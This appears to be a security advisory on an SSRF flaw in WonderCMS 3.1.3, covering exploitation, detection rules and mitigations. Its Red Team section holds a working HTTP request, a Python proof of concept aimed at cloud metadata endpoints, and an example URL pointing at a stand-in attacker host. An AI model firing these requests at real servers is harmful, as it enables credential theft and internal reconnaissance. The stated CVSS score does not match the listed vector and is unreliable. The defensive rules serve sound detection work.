CVE-2024-27563

Executive Summary

CVE-2024-27563 is a Server-Side Request Forgery (SSRF) vulnerability in WonderCMS v3.1.3, specifically within the getFileFromRepo function. An attacker can inject a crafted URL into the pluginThemeUrl parameter, forcing the application to make arbitrary HTTP requests from the server. This can lead to internal network scanning, access to cloud metadata endpoints (e.g., AWS, GCP), or denial-of-service against internal services. The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is Medium (5.4).

Supply Chain & Package Security

WonderCMS is a flat-file PHP CMS distributed via GitHub and its official website. The vulnerable version (3.1.3) is still available for download. No package manager (NPM, PyPI, etc.) is involved, but the risk lies in direct installation from the source. Users should verify the integrity of their installation and consider manual patching.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., internal service banners).
• Integrity (I): Low (L) – Possible manipulation of internal requests.
• Availability (A): None (N) – No direct impact on availability.

Overall CVSS Score: 5.4 (Medium)
Threat Level: Medium – Exploitation is straightforward, but impact is limited to information gathering and internal reconnaissance.

Deep Dive & Mechanics

The vulnerability resides in the getFileFromRepo function, which is used to download plugin or theme files from a remote repository. The function takes a pluginThemeUrl parameter from user input (via GET/POST) and passes it directly to PHP's file_get_contents() or curl_exec() without validation. An attacker can supply a URL pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/) or a malicious external server.

Key Code Snippet (Vulnerable):

function getFileFromRepo($pluginThemeUrl) {
    $content = file_get_contents($pluginThemeUrl);
    // Process content...
}

The lack of URL validation allows SSRF. The attacker can also use URL schemes like file:// to read local files if the PHP configuration allows it.

Vulnerable vs. Patched Code

Vulnerable (v3.1.3):

function getFileFromRepo($pluginThemeUrl) {
    $content = file_get_contents($pluginThemeUrl);
    // No validation
}

Patched (Hypothetical Fix):

function getFileFromRepo($pluginThemeUrl) {
    $allowedHosts = ['github.com', 'raw.githubusercontent.com'];
    $parsedUrl = parse_url($pluginThemeUrl);
    if (!in_array($parsedUrl['host'], $allowedHosts)) {
        die('Invalid URL host.');
    }
    $content = file_get_contents($pluginThemeUrl);
}

No official patch exists. Users must implement a whitelist of allowed domains or disable the function entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WonderCMS v3.1.3 installed and accessible.
• A listener on an attacker-controlled server (e.g., attacker.com).

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., index.php?page=install&pluginThemeUrl=http://attacker.com/test).
2. Craft a request to probe internal services:

   GET /index.php?page=install&pluginThemeUrl=http://169.254.169.254/latest/meta-data/ HTTP/1.1
   Host: target-wondercms.com
   

3. Observe the response for leaked metadata or error messages.

Proof-of-Concept (Python):

import requests

target = "http://target-wondercms.com"
payload = "http://169.254.169.254/latest/meta-data/"
url = f"{target}/index.php?page=install&pluginThemeUrl={payload}"
response = requests.get(url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor logs for requests to index.php with pluginThemeUrl parameter containing internal IPs (e.g., 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254).
• Use WAF rules to block requests to private IP ranges in the pluginThemeUrl parameter.

Mitigation:

• Disable the getFileFromRepo function if not needed.
• Implement a whitelist of allowed external domains.
• Apply input validation to reject URLs with private IPs or non-HTTP schemes.

Indicators of Compromise (IOCs)

• Network:

  • Outbound HTTP requests to internal IP ranges (e.g., 10.x.x.x, 192.168.x.x, 172.16-31.x.x).
  • Requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200 for Alibaba).
  • Unusual outbound connections to attacker-controlled domains.

• Logs:

  • Web server logs showing pluginThemeUrl parameter with suspicious URLs.
  • PHP error logs indicating failed file_get_contents() calls to internal hosts.

• File System:

  • Unexpected files in the plugins/ or themes/ directory downloaded from unknown sources.

Detection Engineering

YARA Rule

rule CVE_2024_27563_SSRF_WonderCMS {
    meta:
        description = "Detects SSRF attempts against WonderCMS via pluginThemeUrl parameter"
        author = "Valters IT"
        date = "2024-03-15"
        reference = "CVE-2024-27563"
    strings:
        $param = "pluginThemeUrl="
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $metadata = "169.254.169.254"
    condition:
        $param and ($internal_ip or $metadata)
}

Sigma Rule

title: WonderCMS SSRF via pluginThemeUrl
id: 7b8c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: experimental
description: Detects SSRF attempts against WonderCMS by monitoring HTTP requests with pluginThemeUrl parameter pointing to internal IPs.
author: Valters IT
date: 2024-03-15
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "pluginThemeUrl="
        cs-uri-query|contains:
            - "10."
            - "192.168."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate use of internal repositories (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27563 WonderCMS SSRF Attempt"; flow:to_server,established; content:"pluginThemeUrl="; http_uri; pcre:"/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable function: Edit the source code to comment out or remove the getFileFromRepo function.
2. Apply input validation: Whitelist allowed domains (e.g., github.com, raw.githubusercontent.com) and reject any URL containing private IPs.
3. Update PHP configuration: Disable allow_url_fopen if not required, or restrict it via php.ini.

Long-Term Fix:

• Monitor the WonderCMS GitHub repository for an official patch.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Use a web application firewall (WAF) to block requests with pluginThemeUrl containing internal IPs or non-HTTP schemes.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert